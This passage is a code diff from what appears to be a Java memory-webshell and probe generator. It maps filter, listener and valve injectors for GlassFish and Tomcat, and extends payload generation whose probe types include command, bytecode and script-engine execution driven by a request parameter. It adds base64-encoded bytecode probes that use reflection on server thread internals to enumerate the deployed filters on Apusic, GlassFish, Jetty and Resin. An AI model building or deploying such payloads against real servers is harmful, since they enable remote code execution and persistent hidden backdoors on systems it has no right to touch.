import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -8,8 +8,14 @@ public enum ProbeContent {
Server,
OS,
JDK,
// 字节码执行
Bytecode,
// 命令执行
Command,
// 基础信息
BasicInfo,
ScriptEngine
// 脚本引擎执行
ScriptEngine,
// Filter 配置
Filter
}
@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder;
import lombok.Getter;
import lombok.Setter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@@ -26,6 +27,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
/**
* 内置执行类加载的字节码
*/
@Setter
private String base64Bytes;
/**
@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
import com.reajason.javaweb.probe.payload.CommandProbe;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
import com.reajason.javaweb.probe.payload.response.*;
import com.reajason.javaweb.utils.ShellCommonUtil;
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;
import org.eclipse.jetty.server.Request;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
String name = probeContentConfig.getReqParamName();
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
if (Server.Jetty.equals(probeContentConfig.getServer())) {
String server = probeContentConfig.getServer();
if (Server.Jetty.equals(server)) {
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
}
if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
}
Class<?> writerClass = getWriterClass();
Class<?> runnerClass = getRunnerClass();
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.to(runnerClass)
.on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes();
if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) {
if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
} else {
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
}
return builder;
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
case Command:
return CommandProbe.class;
case Bytecode:
case Filter:
return ByteCodeProbe.class;
case ScriptEngine:
return ScriptEngineProbe.class;
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
}
ret = p;
} catch (Exception e) {
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
@@ -0,0 +1,54 @@
package com.reajason.javaweb.probe.payload;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.probe.payload.filter.*;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2026/1/11
*/
public class FilterProbeFactory {
public static String getBase64ByServer(String server) {
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
.redefine(getFilterClass(server))
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(CommonUtil.generateClassName()).make()) {
return Base64.encodeBase64String(unloaded.getBytes());
}
}
private static Class<?> getFilterClass(String server) {
switch (server) {
case Server.Tomcat:
case Server.JBoss:
case Server.BES:
case Server.TongWeb:
return TomcatFilterProbe.class;
case Server.Jetty:
return JettyFilterProbe.class;
case Server.Apusic:
return ApusicFilterProbe.class;
case Server.GlassFish:
case Server.InforSuite:
return GlassFishFilterProbe.class;
case Server.WebSphere:
return WebSphereFilterProbe.class;
case Server.WebLogic:
return WebLogicFilterProbe.class;
case Server.Undertow:
return UndertowFilterProbe.class;
case Server.Resin:
return ResinFilterProbe.class;
default:
throw new GenerationException("filterProbe not supported for server: " + server);
}
}
}
@@ -50,7 +50,8 @@ public class ServerProbe {
if (System.getProperty("weblogic.home") != null) {
return ret = "WebLogic";
}
if (System.getProperty("was.install.root") != null) {
if (System.getProperty("was.install.root") != null
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
@@ -0,0 +1,205 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ApusicFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings({"unchecked", "Duplicates"})
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.apusic.web.container.WebContainer
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// webModule -> com.apusic.deploy.runtime.WebModule
Object webModule = getFieldValue(context, "webapp");
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
for (Object fm : filterMappings) {
// fm -> com.apusic.deploy.runtime.FilterMapping
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
Map<String, Object> info = new HashMap<>();
Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name});
info.put("filterName", name);
info.put("filterClass", invokeMethod(filterModel, "getFilterClass"));
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
if (urlPattern != null && !urlPattern.isEmpty()) ((Set<String>) info.get("urlPatterns")).add(urlPattern);
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null && !servletName.isEmpty()) ((Set<String>) info.get("servletNames")).add(servletName);
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("Duplicates")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,224 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class GlassFishFilterProbe {
@Override
public String toString() {
StringBuilder msg = new StringBuilder();
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings({"unchecked", "Duplicates"})
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> org.apache.catalina.core.StandardContext
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
List<Object> filterMaps = (List<Object>) invokeMethod(context, "findFilterMaps");
for (Object fm : filterMaps) {
// fm -> org.apache.catalina.deploy.FilterMap
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
// filterDef -> org.apache.catalina.deploy.FilterDef
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
String filterClass = (String) invokeMethod(filterDef, "getFilterClassName");
if (filterClass == null) {
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = invokeMethod(filterConfig, "getFilter");
if (filter != null) filterClass = filter.getClass().getName();
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] urls = null;
try {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
// Tomcat 5
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
if (urlPattern != null) urls = new String[]{urlPattern};
}
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
String[] servletNames = null;
try {
servletNames = (String[]) invokeMethod(fm, "getServletNames");
} catch (Exception e) {
// Tomcat 5
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null) servletNames = new String[]{servletName};
}
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("Duplicates")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar
*/
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,253 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class JettyFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
/**
* jetty6 -> org.mortbay.jetty.webapp.WebAppContext
* jetty7+ -> org.eclipse.jetty.webapp.WebAppContext
* org.eclipse.jetty.ee8.webapp.WebAppContext
* org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext
* org.eclipse.jetty.ee11.webapp.WebAppContext
*/
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6)
// servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+)
Object servletHandler = getFieldValue(context, "_servletHandler");
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
for (Object mapping : filterMappings) {
// mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6)
// mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+)
String name = (String) invokeMethod(mapping, "getFilterName");
if (!aggregatedData.containsKey(name)) {
String filterClass = "N/A";
if (filterHolders != null) {
for (Object holder : filterHolders) {
// hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6)
// hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+)
String holderName = (String) invokeMethod(holder, "getName");
if (!name.equals(holderName)) continue;
String cls = (String) invokeMethod(holder, "getClassName");
if (cls == null) {
Object filterInstance = invokeMethod(holder, "getFilter");
if (filterInstance != null) {
cls = filterInstance.getClass().getName();
}
}
if (cls != null) filterClass = cls;
break;
}
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
if (pathSpecs != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames");
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
}
} catch (Exception ignored) {
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
Class<?>[] paramClazz = null;
Object[] param = null;
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,234 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ResinFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.caucho.server.webapp.Application
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// filterMapper -> com.caucho.server.dispatch.FilterMapper
Object filterMapper = getFieldValue(context, "_filterMapper");
// filterManager -> com.caucho.server.dispatch.FilterManager
Object filterManager = getFieldValue(context, "_filterManager");
if (filterMapper == null) return Collections.emptyList();
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
for (Object filterMapping : filterMappings) {
// filterMapping -> com.caucho.server.dispatch.FilterMapping
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
if (!aggregatedData.containsKey(filterName)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
if (filterClassName == null) {
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
if (filterClass != null) {
filterClassName = filterClass.getName();
} else {
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
if (filter != null) {
filterClassName = filter.getClass().getName();
}
}
}
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
Map<String, Object> info = aggregatedData.get(filterName);
List<String> urlPatterns = new ArrayList<>();
String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null);
if (urlPattern == null || urlPattern.isEmpty()) {
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
if (matchList != null && !matchList.isEmpty()) {
for (Object match : matchList) {
if (((Integer) getFieldValue(match, "_value")) == 1) {
urlPatterns.add(getFieldValue(match, "_regex").toString());
}
}
}
} else {
urlPatterns.add(urlPattern);
}
if (!urlPatterns.isEmpty()) {
((Set<String>) info.get("urlPatterns")).addAll(urlPatterns);
}
List<String> servletNames = (List<String>) getFieldValue(filterMapping, "_servletNames");
if (servletNames != null && !servletNames.isEmpty()) {
((Set<String>) info.get("servletNames")).addAll(servletNames);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
